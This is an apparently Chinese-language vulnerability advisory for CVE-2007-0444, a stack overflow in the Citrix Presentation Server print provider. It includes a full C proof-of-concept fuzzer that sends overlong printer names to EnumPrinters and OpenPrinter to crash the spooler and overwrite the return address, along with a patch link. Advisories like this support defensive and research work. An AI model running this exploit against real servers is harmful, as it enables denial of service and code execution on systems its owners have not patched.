安全研究

安全漏洞
Citrix Presentation/MetaFrame Server cpprov.dll畸形参数栈缓冲区溢出漏洞

发布日期:2007-01-24
更新日期:2007-01-26

受影响系统:
Citrix MetaFrame XP 1.0
Citrix Presentation Server 4.0
Citrix MetaFrame Presentation Server 3.0
描述:
BUGTRAQ  ID: 22217
CVE(CAN) ID: CVE-2007-0444

Citrix Presentation Server允许用户通过网络远程访问应用程序。

Citrix Presentation Server的打印提供程序(ccprov.dll)在处理传送给EnumPrintersW()和OpenPrinter()函数的参数时存在栈溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

如果攻击者能够通过本地API调用或RPC请求向OpenPrinter()传送超过130字节的超长字符串做为其第一个参数的话,就可以触发这个溢出,导致在本地系统环境中执行任意代码。

<*来源:ZDI (http://www.zerodayinitiative.com/)
  
  链接:http://secunia.com/advisories/23869/
        http://marc.theaimsgroup.com/?l=bugtraq&m=116968901004560&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
Proof of concept exploit for ZDI - Citrix Metaframe spooler service vulnerability
Microsoft Windows - EnumPrinter() & EnumPrinterW() Fuzzer v0.1
Author: Andres Tarasco Acu?a - atarasco@514[.]es
url: http://www[.]514[.]es

This is an intial version of EnumPrinter() and OpenPrinter() fuzzer. I hope that
it will help to identify similar vulnerabilities.
Tested against win2k3 + Citrix presentation server. If the system is vulnerable
this application will kill spooler service (spoolsv.exe ) and ret will be overwritten
with 0x00410041

514 Tiger Team ownz u

*/
#include <stdio.h>
#include <windows.h>
#include <Winspool.h>
#pragma comment(lib,"Winspool.lib")


void usage(char *name) {
      printf("Usage: %s -a (Ascii fuzzing for local printer providers)\n",name);
      printf("Usage: %s -u (Unicode fuzzing for local printer providers)\n",name);
      exit(0);
}

#define RECURSIVE 1
#define OPT_UNICODE 2
#define MAX_PRINTER_LEN 4096

#define _DBG_
#undef _DBG_

int CustomFuzzSize[]= {25,50,100,150,250,300,500,1000,1500, 2000};
wchar_t dst[MAX_PRINTER_LEN];



void Fuzzer( wchar_t *orig,int opt, int unicode) {
   int i,j;
   int len;

   if (unicode) len=wcslen(orig);
   else len=strlen((char *)orig);
   memset((char *)dst,'\0',sizeof(dst));
   memcpy((char *)dst,orig,len*(1+unicode));
   j=wcslen(orig);
   for(i=0;i<CustomFuzzSize[opt];i++) {
      if (unicode) dst[j+i]='A';
      else ((char *)dst)[j+i]=(char)'A';
   }

   if (opt==0) {
   if (unicode)
   printf("Fuzzing: %S ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]);
   else printf("Fuzzing: %s ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]);
   }
  
}


DWORD ShowPrinterInfo(wchar_t *lpName,  int level, int opt, char *padding) {

   unsigned char *lpInfo;
   int i,j;
   DWORD n;
   DWORD dwSizeNeeded=0;
   char newpadding[50];

   DWORD ret;

   if (opt & OPT_UNICODE) {
      EnumPrintersW ( PRINTER_ENUM_NAME, (wchar_t* )lpName, level, NULL, 0, &dwSizeNeeded, &n );
   } else {
      EnumPrintersA ( PRINTER_ENUM_NAME, (char *)lpName, level, NULL, 0, &dwSizeNeeded, &n );
   }
   if (dwSizeNeeded==0) {    
#ifdef _DBG_
      printf ( "EnumPrintersX() Invalid. Error: %d \n",GetLastError() );
#endif
      return(-1);
   }

   lpInfo = (void *)HeapAlloc ( GetProcessHeap (), HEAP_ZERO_MEMORY, dwSizeNeeded );

   if ( lpInfo != NULL ) {
         if (opt & OPT_UNICODE) {
            ret=EnumPrintersW ( PRINTER_ENUM_NAME,(wchar_t *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n);
         } else {
            ret=EnumPrintersA ( PRINTER_ENUM_NAME,(char *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n);
         }
      if (  ret== 0 )
       {
#ifdef _DBG_
           printf ( "EnumPrintersX() Failed. Error: %d ( %i)\n",GetLastError(),dwSizeNeeded  );
#endif
         HeapFree ( GetProcessHeap (), 0, lpInfo );
           return 0;
      } else {
         PRINTER_INFO_1 *dataI;
         PRINTER_INFO_2 *dataII;
        
          for ( i=0; i < n; i++ ) {
               dataI=(PRINTER_INFO_1*)lpInfo;
            
               printf("%s",padding);
               if (opt & OPT_UNICODE) {
                  if (dataI[i].pName)  printf(" %S - ",(dataI[i].pName));
                  if (dataI[i].pDescription)  printf(" %S ",(dataI[i].pDescription));
                  //if (dataI[i].pComment)  printf(" %S - ",(dataI[i].pComment));
               } else {
                  if (dataI[i].pName)  printf(" %s - ",(dataI[i].pName));
                  if (dataI[i].pDescription)  printf(" %s ",(dataI[i].pDescription));
                  //if (dataI[i].pComment)  printf(" %s - ",(dataI[i].pComment));
               }
                  printf("\n");
              for(j=0;j<sizeof(CustomFuzzSize)/sizeof(int);j++) {
                 if (opt & OPT_UNICODE) {
                    Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE);
                    ShowPrinterInfo((wchar_t*)dst,level, OPT_UNICODE, newpadding);            
                 } else {
                    Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE);
                     ShowPrinterInfo((wchar_t*)dst,level, 0, newpadding);            
                 }
               }
               if (opt & RECURSIVE ) {
                  strcpy (newpadding,padding);
                  strcat(newpadding,"---");
                  newpadding[1]='+';
                  ShowPrinterInfo(dataI[i].pName,level, opt, newpadding);
               }
               printf("\n");
         }
         HeapFree ( GetProcessHeap (), 0, lpInfo );
      }
   }

   return(1);
}

int testPrinters(void) {
   DWORD size,ret,err;
   ret=EnumPrintersW ( PRINTER_ENUM_NAME, NULL, 1, NULL, 0, &size, &size );
      if (  ret==0 ) {
         err=GetLastError();
         if (err!=122) { //size error
            printf("[-] Printer Service not available - Error: %d\n",err );        
            exit(-1);
         }
      }
      return(1);
}
int main ( int argc, char *argv[] )
{

   printf("[+] Citrix Presentation Server - Local EnumPrinterW() POC exploit\n");
   printf("[+] Discovered by ZDI - http://secunia.com/advisories/23869/\n");
   printf("[+] Proof of concept by Andres Tarasco - atarasco@514[.]es\n\n");

   if (argc!=2) usage(argv[0]);

   testPrinters();
   printf("[+] Printer Service Seems to be working.. Fuzzing\n");

   if ( (argv[1][1]=='u'))  {
      ShowPrinterInfo(NULL,1,3,"[*]");
      testPrinters();
   }
   if ( (argv[1][1]=='a'))  {
      ShowPrinterInfo(NULL,1,1,"[*]");
      testPrinters();
   }
  

   return(0);
}

http://www.514.es/2007/01/29/Universal_printer_provider_exploit.zip

建议:
厂商补丁:

Citrix
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://support.citrix.com/article/CTX111686&printable=true

浏览次数:3985
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障